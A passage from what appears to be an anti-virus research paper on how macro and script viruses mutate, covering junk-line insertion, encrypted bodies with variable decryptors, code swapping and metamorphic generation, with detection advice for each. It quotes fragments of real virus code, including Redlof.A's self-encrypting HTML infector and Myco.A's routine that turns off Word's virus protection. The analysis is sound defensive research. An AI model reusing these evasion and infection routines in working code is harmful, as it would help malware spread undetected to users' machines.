With SA49.CodeModule For x = 2 To (SA49.CodeModule.CountOfLines - 1) Step 2 For y = 1 To (Int(Rnd * 10) + 2) BO61 = BO61 + (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & " + " Next y .replaceline x, (Chr(65 + Int(Rnd * 22))) & " = " & BO61 & (Chr(65 + Int(Rnd * 22))) BO61 = "" Next x End With
Handling this polymorphic technique is significantly more difficult. One possibility is to ignore all the assignment operators in the virus code. However, this could be rather dangerous because the scanner could skip important parts of the virus along with the do-nothing lines. Another possibility is to resort to more primitive methods of virus detection, such as scan strings. However, they do not allow viruses to be identified exactly and can cause false positives.
3.1.5 Variable assignments
A further improvement of this polymorphic technique involves the usage as do-nothing lines not only assignments of sums of variables to another variable, but also any kind of assignments.
Examples include the WM/Hunter.C virus, which uses assignments of random integer numbers to a randomly generated variable, the W97M/Ethan.BS virus, which uses assignments of randomly generated literal strings to a string variable, the W97M/IIS.D virus, which uses assignments of randomly generated Chr () functions and so on. Here is, for instance, how this technique is implemented in the WM/Hunter.C virus:
ToolsMacro .Name = f$, .Edit, .Show = 3 ParaDown Int(Rnd() * m) + 1 For i = 1 To Int(Rnd() * 10) + 2 a$ = a$ + Chr$(Int(Rnd() * 26) + 65) Next i Insert Chr$(13) + a$ + " =" + Str$(Int(Rnd() * 242)) + Chr$(13) + Chr$(13) DocClose 1
3.1.6 Insertions of GoTo Label / Label: pairs
Another variation of this polymorphic technique can be found in the O97M/Gub.A virus. This virus uses as do-nothing operators pairs of GoTo Label and Label: lines which can be inserted between any two already existing lines in the virus body:
5: If JJ = Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(69) + Chr(120) + Chr(101) + Chr(99) Or Chr(65) + Chr(117) + Chr(116) + Chr(111) + Chr(79) + Chr(112) + Chr(101) + Chr(110) Then m = 20 Else m = 5 For Mutagen = 1 To m j = (j + 1): n = (n - 1): G = j + n: y = Int((G - j) * Rnd + j) For f = 1 To Int((33 * Rnd) + 1) L = Int(Rnd() * (90 - 66) + 65): x = Int(Rnd() * (57 - 48) + 48): S = Int(Rnd() * (122 - 98) + 97) V = V + Chr$(L) + Chr$(x) + Chr$(S) Next For Each lyy In MacroContainer.VBProject.VBComponents If lyy.CodeModule.Find(V, 1, 1, 2000, 2000) Then V = "": GoTo 5 Next lyy MacroContainer.VBProject.VBComponents(T).CodeModule.Insertlines y, Chr(71) + Chr(111) + Chr(84) + Chr(111) + Chr(32) & V MacroContainer.VBProject.VBComponents(T).CodeModule.Insertlines y + 1, V & Chr(58) V = "" Next Mutagen
3.1.7 Random If statements
Yet another variation of this polymorphic technique consists of using as do-nothing code various If statements, the execution of which does not affect the algorithm of the virus in any way – because the value (True or False) of the conditions used in these If statements are known in advance. In one of our papers ([Bontchev2Kb]), we predicted the appearance of this technique.
So far, we are aware of only a single macro virus, WM/Body.A, which makes use of it. At the beginning of its body, this virus sets a variable named “i” to 1 and then can randomly precede any of its other lines with
if i = 1 then
or
if i > 0 then
Obviously, since the condition is always true, the rest of the line will always be executed, as if the “if” operator is not present. That particular virus also makes use of the “insertion of random GoTo Label / Label:” technique.
3.1.8 Combinations of different techniques
As it should have become obvious from several of the examples given so far (e.g., WM/FutureN.A, W97M/ColdApe.B, WM/Shuffle.A, WM/PolyPoster.A@mm, WM/Smmd.A, WM/Body.A, etc.), many polymorphic macro viruses make use of more than one kind of polymorphic technique. Some other examples include the W97M/Class.DQ virus (uses both the “constant sums of variable identifiers” and the “infection log in comments” techniques), the W97M/Class.CV virus (uses both the “variable sums of variable identifiers” and the “infection log in comments” techniques) and so on.
The W97M/Npol.B virus even uses as do-nothing operators assignments, empty lines, comments, GoTo Label / Label: pairs, DoEvents statements, If statements, For loops, etc.:
If Int(Rnd * 24) > Hour(Time) Then
MorphFactor = Int(Rnd * 10)
Select Case MorphFactor
Case 1
Fake = Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 999999999))
Case 2
Fake = Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & Chr(58) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(58)
Case 3
Fake = "DoEvents"
Case 4
Fake = "'" & Application.UserName & Application.UserAddress & Application.ActivePrinter
Case 5
JumpPoint = Chr(Int(Rnd * 5) + 65) & Hex(CStr(Oct(MorphFactor ^ 4) & CStr(Day(Date)) & CStr(Minute(Time)) & CStr(Hour(Time))))
Fake = "Goto " & JumpPoint & Chr(13) & JumpPoint & ":"
Case 6
Fake = Chr(13)
Case 7
Fake = "For " & Chr(MorphFactor + 65) & " = 1 To 1" & Chr(13) & "Next " & Chr(MorphFactor + 65)
Case 8
Fake = "Rem"
Case 9
Fake = "If " & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 45)) & "Then " & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 45))
Case 10
Fake = "Do" & Chr(13) & "Exit Do" & Chr(13) & "Loop"
End Select
ThisDocument.VBProject.VBComponents("FF").CodeModule.InsertLines Int(Rnd * ThisDocument.VBProject.VBComponents("FF").CodeModule.CountOfLines - 3) + 1, Fake
End IfFrom the anti-virus point of view, the usage of multiple polymorphic techniques does not make the virus more difficult to handle than the usage of the single most difficult one of them.
3.2 Encryption of the Virus Body
One of the “classic” ways to make the virus look differently in each replication is to encrypt most of its body using a variable key and use a small decryptor to decrypt it before it is executed. This method is very old – even one of the first DOS viruses, Cascade.1701.A used it. It is, therefore, quite natural that the macro virus writers sought to implement it, too.
Although entirely possible, its implementation is a bit problematic in WordBasic, due to the slowness of the string processing operators of this language, as well as due to the fact that a WordBasic macro which is currently running is not allowed to modify itself. Compared to WordBasic, VBA is a much more suitable language for implementing polymorphism based on variable encryption of the virus body. Nevertheless, both languages have been used to create macro viruses using this polymorphic technique.
As far as script viruses are concerned, there are two kinds of “encryption” which are not really related to polymorphism (because they do not result in a modification of the virus body) and, as such, are outside the scope of this paper, so we shall mention them only glancingly.
One of them is the usage of the Window Scripting Host’s (WSH) support for “encrypted” scripts (VBScript and JavaScript). We put the word in quotes, because this is not really encryption; it is more exactly encoding. It is a way to obfuscate the source of the script, so that it is not easily readable by a human. The encoding does not use any encryption key, let alone a variable one, and the encoded form of one and the same script always looks the same.
Encoded JavaScript scripts are stored in files with a JSE extension and encoded VBScript scripts are stored in files with a VBE extension. The WSH uses the file extension in order to determine whether a script has to be decoded in memory before being executed.
Microsoft has provided a tool for converting plain-text scripts into encoded form and the virus writers sometimes use this tool to obfuscate the source of their viruses. Examples of such viruses include VBS/San.A and VBS/Valentin.A. There is no publicly available tool for decoding of encoded scripts but, fortunately, the encoding is extremely trivial and it is not a problem to reverse-engineer the algorithm and to create such a tool – which is something the anti-virus researchers did a long time ago.
Another example of such non-polymorphic encryption is when the virus writer has come up with his own encryption algorithm for obfuscation purposes. The virus body is never re-encrypted (and, therefore, does not change) – it is only decrypted before execution.
The VBS/VBSWG.J@mm virus (a.k.a. “Anna Kournikova”) is one of the most well-known script viruses using this technique. Most of its body is kept in encrypted form in a literal string. At runtime, this string is passed the decryptor, which is implemented as a function that takes the encrypted string and returns its decrypted form:
Function e7iqom5JE4z(hFeiuKrcoj3) For I = 1 To Len(hFeiuKrcoj3) Step 2 StTP1MoJ3ZU= Mid(hFeiuKrcoj3, I, 1) WHz23rBqlo7= Mid(hFeiuKrcoj3, I + 1, 1) If Asc(StTP1MoJ3ZU) = 15 Then StTP1MoJ3ZU= Chr(10) ElseIf Asc(StTP1MoJ3ZU) = 16 Then StTP1MoJ3ZU = Chr(13) ElseIf Asc(StTP1MoJ3ZU) = 17 Then StTP1MoJ3ZU = Chr(32) Else StTP1MoJ3ZU = Chr(Asc(StTP1MoJ3ZU) - 2) End If If WHz23rBqlo7<> "" Then If Asc(WHz23rBqlo7) = 15 Then WHz23rBqlo7= Chr(10) ElseIf Asc(WHz23rBqlo7) = 16 Then WHz23rBqlo7= Chr(13) ElseIf Asc(WHz23rBqlo7) = 17 Then WHz23rBqlo7= Chr(32) Else WHz23rBqlo7= Chr(Asc(WHz23rBqlo7) - 2) End If End If e7iqom5JE4z = e7iqom5JE4z & WHz23rBqlo7 & StTP1MoJ3ZU Next End Function
As is immediately obvious from the above code, the encryption consists of taking every two adjacent characters from the virus body, replacing the line feed characters with the character with ASCII code 15, replacing the carriage return characters with the character with ASCII code 16, replacing the spaces with the character with ASCII code 17, and replacing every other character with the one which has ASCII code 2 more than the ASCII code of the character and, finally, swapping the two adjacent characters.
The return value of the decryption function is then passed to the VBScript function Execute, which – as its name implies – executes its contents by passing it to the WSH.
Although it looks as if the above code uses polymorphic identifiers (see section 2.3), this is not really the case. Simply, this virus has been created with a virus construction kit (kit://VBS/VBSWG) and this kit generates random identifiers each time it creates a new virus. However, the identifiers in each particular generated virus remain constant during the replication of the virus.
3.2.1 Variable Encryption with a Constant Decryptor
The simplest implementation of this technique is to use a constant decryptor. One of the first examples of such viruses was the WM/Dakota.A virus. It keeps the decryptor in its AutoClose macro. That macro contains no replication code. When it receives control, it decrypts the second macro of the virus (named DAKOTA) and executes it. The lines of the encrypted macro’s body are stored in apostrophe-style comment lines and, in addition, these lines are intersperses with a pseudo-randomly selected character (it depends on the generation of the virus replicant). The decryption consists of merely removing the apostrophe and this random character:
ToolsMacro .Name = "DAKOTA", .Show = 3, .Edit EditSelectAll : ax$ = Selection$() For ax = 1 To Len(ax$) bx$ = Mid$(ax$, ax, 1) If bx$ = Chr$(134) Or bx$ = Chr$(39) Then Goto Nexit dx$ = dx$ + bx$ Nexit: Next ax
It is a crude approach, but it works reasonably well. It is very easy to handle by the anti-virus programs, too. Since the decryptor is in a separate macro and the contents of this macro does not change, a scanner could detect only this macro (as if the other, polymorphic one, did not exist at all). At disinfection time, it could either remove the polymorphic macro by name (instead of identifying it by contents), or it could simply remove all macros from the infected document.
Another typical example of a virus using this technique is the W97M/AntiSocial.F virus (as well as many other variants from the W97M/AntiSocial virus family). Since it is written in VBA and does not have the limitation that the macro which is currently running is not allowed to modify itself, this virus keeps both the constant decryptor and the variably encrypted body in the same module (ThisDocument). The encrypted body resides in apostrophe-style comments in a subroutine named ViewVBCode. The first character after the apostrophe is the encryption key for the respective line (each line is encrypted with a different key) and the encryption consists of XORing each character of the line with this key:
For d = 6 To 18: C$ = "": I = (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(d, 1)) f = (Mid(I, 2, 1)): For X = 3 To Len(I): B$ = Asc(Mid(I, X, 1)) Xor f: C$ = C$ & Chr(B$): Next X: A = C$ ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine d, A: Next d: Call ViewVBCode: End Sub
As an example of a script virus using this technique, we shall consider the VBS/Stages.A virus. It keeps the literal strings it uses in encrypted form. The decryptor is constant and its function is to increment the ASCII code of the characters at even positions and decrement the ASCII code of the characters at odd positions:
Function T(D) T="" For E=1 To Len(D) If Asc(Mid(D,E,1))<>34 And Asc(Mid(D,E,1))<>35 And Asc(Mid(D,E,1))<>126 Then If Asc(Mid(D,E,1)) Mod 2=0 Then T=T&Chr(Asc(Mid(D,E,1))+Left(Len(N),1)) Else T=T&Chr(Asc(Mid(D,E,1))-Left(Len(N),1)) Else T=T&Mid(D,E,1) End If Next End Function
where “N” is the line of the virus body, which contains the encrypted string. In practice, the above algorithm performs decryption by subtracting the ASCII code of the rightmost character of the line from each encrypted character that resides at odd positions and adds this code to each such character residing at even positions. Note that, strictly speaking, since both the decryptor and the decryption key are always constant, the virus is not polymorphic.
From the point of view of the anti-virus producer, handling this polymorphic technique is relatively trivial. The scanner simply has to ignore the variably encrypted virus body and recognize the virus by its constant decryptor. At disinfection time, if the virus keeps the variably encrypted part of itself in a separate macro or module, the anti-virus program could recognize this macro/module by its name when removing it – or simply remove all macros from the infected document.
One of the flaws in this approach, is that the scanners using it would be unable to distinguish between two different viruses that use one and the same decryptor. For instance, many macro virus scanners are unable to distinguish between the W97M/AntiSocial.F and W97M/AntiSocial.H variants. The danger here is that a new, destructive virus could be reported as an old, not intentionally destructive one - which could seriously mislead the user about the level of threat he or she is facing.
3.2.2 Variable Encryption with a Polymorphic Decryptor
A rather obvious improvement of the polymorphic technique described in the previous subsection is to modify the decryptor each time the virus replicates – for instance, by using one of the techniques described in the previous sections.
One typical example of a virus, which uses this technique, is the WM/Slow.A virus. A substantial part of its body is kept in encrypted form on a line-by-line basis. Each encrypted line is kept in a literal string, which is assigned to an element of an array. The encryption consists of adding a random number to the ASCII code of each character of the line. The decryptor simply subtracts this code (the “key”) from each character of the line:
Sub MRONCQNMKTSDIR For APFQOBJJTMNDKI = DHLAALMJJRNSVOQIMD To BREPTONGVL FLJFVVAJTNHSNQBP$ = "" HIEJSOSMVAEA = Len(DJESEJFGCFTCUU$(APFQOBJJTMNDKI)) For HOGRFBLEOURVSD = HJVHJLOOALEOECNAIQ To HIEJSOSMVAEA FLJFVVAJTNHSNQBP$ = FLJFVVAJTNHSNQBP$ + Chr$(Asc(Mid$(DJESEJFGCFTCUU$(APFQOBJJTMNDKI), HOGRFBLEOURVSD, HJVHJLOOALEOECNAIQ)) - PAIGTERMOELFQRPR) Next HOGRFBLEOURVSD DJESEJFGCFTCUU$(APFQOBJJTMNDKI) = FLJFVVAJTNHSNQBP$ Next APFQOBJJTMNDKI End Sub
The above code uses variables, which are assigned values earlier in the virus code. DHLAALMJJRNSVOQIMD is assigned the value 0, BREPTONGVL is assigned the value 179 and HJVHJLOOALEOECNAIQ is assigned the value 1. DJESEJFGCFTCUU$ is the name of the array, which contains the encrypted lines and PAIGTERMOELFQRPR is the encryption key. In addition, the virus uses the “polymorphic identifiers” technique (see section 2.3 to make its unencrypted part (including the decryptor) polymorphic too.
Another example of a virus, which uses this technique, is the W97M/Quoter.A virus. Similarly to the W97M/AntiSocial.F virus, part of its body is kept variably encrypted in commented lines in a separate subroutine of the virus module and is decrypted and executed at runtime. (The encryption algorithm is again very trivial – simply addition of a random number to the ASCII code of each character of the line.) The improvement here is that in addition to the variable encryption, the viruses inserts do-nothing lines like labels, assignments and REM-style comments in random places of its body (including, but not limited to the variably encrypted part) – see section 2.5. In addition, it keeps a generation counter as an assignment to a variable in one of the lines at the very beginning – see section 2.4.
An example of a script virus, which uses this polymorphic technique, is the VBS/Redlof.A virus. It infects parasitically VBS and HTML files. The encrypted virus body is kept in a variable named ExeString. The decryptor is implemented as a literal string, which is passed to the Execute function. It assigns the decrypted virus body to another variable named ThisText, which is similarly passed to the Execute function, in order to run the main virus body. The decryption algorithm uses a 4-digit key, each digit of which is assigned to an element of an array, named KeyArr:
Execute("Dim KeyArr(3),ThisText"&vbCrLf&"KeyArr(0) = 2"&vbCrLf&"KeyArr(1) = 8"&vbCrLf&"KeyArr(2) = 3"&vbCrLf&"KeyArr(3) = 1"&vbCrLf&"For i=1 To Len(ExeString)"&vbCrLf&"TempNum = Asc(Mid(ExeString,i,1))"&vbCrLf&"If TempNum = 18 Then"&vbCrLf&"TempNum = 34"&vbCrLf&"End If"&vbCrLf&"TempChar = Chr(TempNum + KeyArr(i Mod 4))"&vbCrLf&"If TempChar = Chr(28) Then"&vbCrLf&"TempChar = vbCr"&vbCrLf&"ElseIf TempChar = Chr(29) Then"&vbCrLf&"TempChar = vbLf"&vbCrLf&"End If"&vbCrLf&"ThisText = ThisText & TempChar"&vbCrLf&"
Next")
Execute(ThisText)These digits are randomly generated every time the virus replicates and their variability makes the decryptor variable too:
Dim OtherArr(3)
Randomize
For i=0 To 3
OtherArr(i) = Int((9 * Rnd))
Next
TempString = ""
For i=1 To Len(ThisText)
TempNum = Asc(Mid(ThisText,i,1))
If TempNum = 13 Then
TempNum = 28
ElseIf TempNum = 10 Then
TempNum = 29
End If
TempChar = Chr(TempNum - OtherArr(i Mod 4))
If TempChar = Chr(34) Then
TempChar = Chr(18)
End If
TempString = TempString & TempChar
Next
UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)"
ThisText = "ExeString = """ & TempString & """"
HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>"
VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()"Another example of a polymorphic script virus, which uses encryption with a variable decryptor, is the BAT/Batalia.E virus. It uses the fact that the popular archiver ARJ will recognize and properly process an ARJ archive even if some small amount of code is prepended to it. The virus keeps most of its code (a set of BAT files) in an ARJ archive, which is encrypted with a password (one of the digits 1 to 4 is used as a password). The decryptor – a small BAT file – is prepended to this archive:
rem COMMAND.COM nul /carj x %0 -g1 %comspec% nul /carj e %0 -g1 rem arj e %0 %compec% -g5 s BAIT2.BAT
At runtime, it passes the whole file (containing the decryptor and the appended ARJ archive) to the ARJ archiver, supplying also the password needed to decrypt it. Once the archive is unpacked, one of the BAT files contained in it (S.BAT) is invoked and another one (BAIT2.BAT) is passed to it as a command-line argument, in order to transfer control to the main body of the virus.
Because of the encryption, and because the modification times of the archived files are different each time, so is the archive as a whole, providing a form of variable encryption of the virus body. In addition, since the decryptor contains the password (which is also different each time), the decryptor is polymorphic too.
The same technique, but with an even more polymorphic decryptor is used by the BAT/PolyBat.A virus. It uses ZIP archives instead of ARJ archives and the password is longer (it is constructed from the set [A-G]). In addition, the decryptor is polymorphed by using two different techniques.
First, the virus uses the fact that in BAT files the sequence consisting of the character “%”, followed by one of the characters “~”, “+”, “-“, “*” or “&” is simply ignored – so, it inserts such two-character sequences as do-nothing instructions throughout the decryptor.
Second, it uses the fact that in BAT files, the sequence consisting of the character “%”, followed by a letter is translated to that letter (i.e., that the percentage sign is simply ignored in these cases). So, it intersperses the body of the decryptor with percentage signs too.
Here is how a sample decryptor generated by this virus can look like:
i%*%f %*%!%0==! pkun%*%zi%*%p%*% -sAB -%*%o aut%*%o%*%exec.bat%"%>n%*%u%*%l%"% if not !%0==! if exi%*%st %0 pku%*%nz%*%ip%*% -sAB -o %0%"%>n%*%ul%"% if no%*%t %*%!%0==! if e%*%xist %0.bat pkun%*%zi%*%p -sAB -o %0.bat%"%>nul%"% i%*%f exi%*%st _CDEFG.ba%*%t comm%*%an%*%d /f /e:5%*%55%*%5 /c _CDEFG %*%if ex%*%ist _CDEFG.bat de%*%l _CDEFG.%*%bat
From the point of view of the developer of virus scanners, the handling of this technique can range from virtually trivial to extremely difficult, mostly because it can be implemented in a great variety of ways. For instance, if the variably encrypted virus body is stored in comments or in literal strings, it can be easily ignored and the rest of the virus (i.e., the polymorphic decryptor) can be handled by using one of the techniques mentioned in section 2. Sometimes the “variable” decryptor is “constant enough” to allow the usage of a simple (or wildcarded) scan string to detect it. However, in its extreme, this polymorphic technique can be complex enough to require the usage of some kind of emulator able to interpret the virus code until the encrypted body is decrypted, so that simple pattern matching techniques could be used to detect it.
3.3 Swapping Around Parts of the Virus Body
Another way to achieve extensive variability of the virus body is by swapping around pieces of it, the order of which is not critical for the algorithm of the virus. Depending on the granularity of the blocks of virus code that are swapped around, this technique can be implemented as subroutine swapping, as line swapping and as operator swapping.
3.3.1 Subroutine Swapping
One of the first polymorphic macro viruses, which made use of the subroutine swapping technique, was the WM/Shuffle.A virus. (It also uses polymorphic identifiers for the names of its subroutines – see section 2.3.)
In documents, the virus resides in a single macro, named AutoOpen. When infecting the global template, the virus extracts the code of some of its subroutines via sequences of LineDown and EditCopy commands and puts it in separate macros – named FileSaveAs, FileTemplates, ToolsMacro, etc. At the time when it infects documents, the virus combines the code of these macros into a single macro again – but the order of the subroutines changes.
Another typical example is the W97M/NPR.C Trojan. At installation time (it does not replicate, since it is not a virus), this macro Trojan horse generates a random permutation of its subroutines. The subroutines are located from their End Sub lines and, since functions end with End Function lines instead, there is a commented out End Sub line after the End Function line just for location purposes. (This is rather silly, because VBA has built-in means for locating the lines belonging to a given subroutine in a module, but, obviously, the author of the Trojan was not aware of that.) Then, a textbook permutation generator is used to create a random permutation specifying the order in which the subroutines have to be listed:
Function morf(MyString As String) Dim NextSub As Long Dim Counter As Integer Dim A() As Integer Dim Code_() As String Dim i As Long Dim Pre_ As Long Dim Resalt As String On Error Resume Next NextSub = InStr(1, MyString, "End" + " Sub", vbTextCompare) Do While NextSub <> 0 Counter = Counter + 1 NextSub = InStr(NextSub + 9, MyString, "End" + " Sub", vbTextCompare) Loop ReDim Code_(0 To Counter - 1) NextSub = -8 For i = 0 To Counter - 1 Pre_ = NextSub + 9 NextSub = InStr(Pre_, MyString, "End" + " Sub", vbTextCompare) Code_(i) = Mid(MyString, Pre_, NextSub + 9 - Pre_) Next i Loto Counter - 1, A() Resalt = Code_(0) For i = 1 To Counter - 1 Resalt = Resalt + Code_(A(i)) Next i morf = Resalt End Function
where the function Loto is:
Function Loto(i As Integer, A() As Integer) Dim n As Integer ReDim A(1 To i) As Integer Dim Tmp As Integer Dim Temp As Integer For n = 1 To i A(n) = n Next For n = 1 To i Randomize Tmp = Int((i - n + 1) * Rnd + n) Temp = A(n) A(n) = A(Tmp) A(Tmp) = Temp Next End Function
3.3.2 Line Swapping
The technique described in the previous subsection can be developed into its logical conclusion by making the size of the blocks of code as small as possible – i.e., a single line instead of a whole subroutine. This is precisely the technique used e.g., in the W97M/Walker.B virus.
The virus begins with three constant lines:
Private Sub Document_Open() On Error Resume Next GoTo 10
All the remaining lines of the virus body (except the final End Sub line) begin with a numeric label and end with a GoTo statement, which transfers control to the next line of the virus that has to be executed. Every time the virus replicates, the lines with the numeric labels are reshuffled randomly by picking a random line, deleting it, and inserting it at a random place:
170 For i = 4 To IL - 1: RL = Int(Rnd * (IL - 5)) + 4: GCL = Infection.Lines(i, 1): Infection.DeleteLines i, 1: Infection.InsertLines RL, GCL: Next i: GoTo 180
(In the above code, the variable IL contains the number of lines in the virus code and the variable Infection points to the module containing the virus body.) The particular order of the lines does not matter, since the GoTo statements ensure that they will be executed in the proper order.
From the point of view of the developer of anti-virus software, there is a relatively easy way to handle the polymorphic technique described in this and the previous sections. Instead of identifying the virus body as a whole (e.g., by computing some kind of checksum of the whole macro or module), the macro virus scanner needs to compute checksums for the smallest pieces of swappable code (e.g., a line) and then XOR these partial checksums together in order to obtain the final checksum of the virus.
Alternatively, such viruses can be detected with a scan string that does not exceed the smallest piece of swappable code (and does not span across such pieces of code). However, this method identifies viruses with a much lower level of exactness and should be discouraged.
3.3.3 Operator Swapping
A minor variation of the code swapping technique can be found in the WM/UglyKid.A virus. This virus uses the fact that the order of the operands of some WordBasic instructions is not important and permutates the operands of such instructions in its body.
For instance, the line
EditAutoText .InsertAs = 0, .Name = "JJSRW", .Insert
can be changed to
EditAutoText .Name = "JJSRW", .InsertAs = 0, .Insert
or
EditAutoText .InsertAs = 0, .Insert, .Name = "JJSRW"
and so on. Another similar (and similarly modified) instruction in the virus body is
ToolsMacro .Name = "KUTQOQ", .Edit, .Show = 3
The same technique can be used in VBA although so far we are not aware of a VBA virus using it.
3.4 Code Generation
In its “classic” form, polymorphic macro viruses make their whole body look differently in every replicant by encrypting most of it using some variable encryption scheme and generating a random decryptor for it – or by modifying extensively the existing decryptor. Anti-virus programs counter this technique by using some kind of emulator to interpret the decryptor until it has decrypted the rest of the virus body (which is then constant) and then scanning the decrypted body.
However, if the virus already has the means for extensive code generation and modification, nothing forces it to limit their application to the decryptor. They can just as well be applied to the whole virus body instead. In fact, then the use of variable encryption becomes pointless, because the whole virus code will be extensively modified on each replication anyway. This method has the added benefit (from the point of view of the virus writer) that no matter how long the virus code is interpreted, it will never result in a large part of it becoming constant. Naturally, this makes detection and especially identification much more difficult.
Viruses which modify extensively their body as described above – i.e., by the means of code generation and modification and without the use of encryption – are called metamorphic or, sometimes, body-polymorphic viruses ([Szor01]).
One, relatively primitive example of such viruses is the W97M/Myco.A virus. It uses the fact that in VBA, one and the same object can be reached through different paths in the object model. For instance, the Options object in Word 97 can be addressed as Options, as Word.Options, as Application.Options, or as Word.Application.Options.
The virus keeps an array of the different possible ways to address the objects it uses and, at execution time, reconstructs its body by picking random elements from this array:
A(1) = "ActiveDocument"
A(2) = "Word.ActiveDocument"
A(3) = "Application.ActiveDocument"
A(4) = "Word.Application.ActiveDocument"
A(5) = "System.Application.ActiveDocument"
A(6) = "AddIns.Application.ActiveDocument"
A(7) = "Bookmarks.Application.ActiveDocument"
A(8) = "Documents.Application.ActiveDocument"
A(9) = "Word.System.Application.ActiveDocument"
A(10) = "NormalTemplate"
A(11) = "Word.NormalTemplate"
A(12) = "Application.NormalTemplate"
A(13) = "Word.Application.NormalTemplate"
A(14) = "System.Application.NormalTemplate"
A(15) = "AddIns.Application.NormalTemplate"
A(16) = "Bookmarks.Application.NormalTemplate"
A(17) = "Documents.Application.NormalTemplate"
A(18) = "Word.System.Application.NormalTemplate"
A(19) = "Options"
A(20) = "Word.Options"
A(21) = "Application.Options"
A(22) = "Word.Application.Options"
A(23) = ".VBProject.VBComponents(1)"
A(24) = ".VBProject.VBComponents.Item(1)"
A(25) = ".VBProject.VBComponents(""ThisDocument"")"
A(26) = ".VBProject.VBComponents.Item(""ThisDocument"")"
A(27) = "0"
A(28) = "Yes"
A(29) = "True "
A(30) = "False"
A(31) = "MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 41) & vbCrLf & A(31) & vbCrLf & A(32) & vbCrLf & A(33) & vbCrLf & A(34) & vbCrLf & A(35) & vbCrLf & A(36) & vbCrLf & A(37) & vbCrLf & A(38) & vbCrLf & A(39) & vbCrLf & ""End Sub"""
A(32) = A(Int((Rnd * 3) + 19)) & ".VirusProtection = " & A(Int((Rnd * 3) + 27))
A(33) = A(Int((Rnd * 3) + 19)) & ".SaveNormalPrompt = " & A(Int((Rnd * 3) + 27))
A(34) = A(Int((Rnd * 3) + 19)) & ".ConfirmConversions = " & A(Int((Rnd * 3) + 27))
A(35) = A(Int((Rnd * 8) + 1)) & A(Int((Rnd * 3) + 23)) & ".CodeModule.DeleteLines 1, " & A(Int((Rnd * 8) + 1)) & A(Int((Rnd * 3) + 23)) & ".CodeModule.CountOfLines"
A(36) = A(Int((Rnd * 8) + 1)) & A(Int((Rnd * 3) + 23)) & ".CodeModule.AddFromString MyCode"
A(37) = A(Int((Rnd * 8) + 10)) & A(Int((Rnd * 3) + 23)) & ".CodeModule.DeleteLines 1, " & A(Int((Rnd * 8) + 10)) & A(Int((Rnd * 3) + 23)) & ".CodeModule.CountOfLines"
A(38) = A(Int((Rnd * 8) + 10)) & A(Int((Rnd * 3) + 23)) & ".CodeModule.AddFromString MyCode"
A(39) = A(Int((Rnd * 8) + 1)) & ".SaveAs FileName:=" & A(Int((Rnd * 8) + 1)) & ".FullName"
MyCode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 41) & vbCrLf & A(31) & vbCrLf & A(32) & vbCrLf & A(33) & vbCrLf & A(34) & vbCrLf & A(35) & vbCrLf & A(36) & vbCrLf & A(37) & vbCrLf & A(38) & vbCrLf & A(39) & vbCrLf & "End Sub"A much more elaborated kind of metamorphic code generation can be found in the WM/Vicis.A virus ([Bontchev97b]). A detailed description of the polymorphic mechanism used by this virus is outside the scope of this paper; the interested reader should refer to the paper mentioned above. Suffice it to say that the virus can perform the following manipulations on its body:
-
Extract a random (but continuous) set of lines and move them into a separate subroutine.
-
Remove an existing subroutine and merge the contents of its body in the place where it is being invoked.
-
Random modification of the variables used (see section 2.3).
-
Replacement of any integer constant with an arithmetic expression of constants yelding the same value as the original constant.
-
Insertion of do-nothing lines (see section 3.1) of the form
If <identifier1> = <identifier2> Then <identifier3> = <number>
3.5 Combined Methods
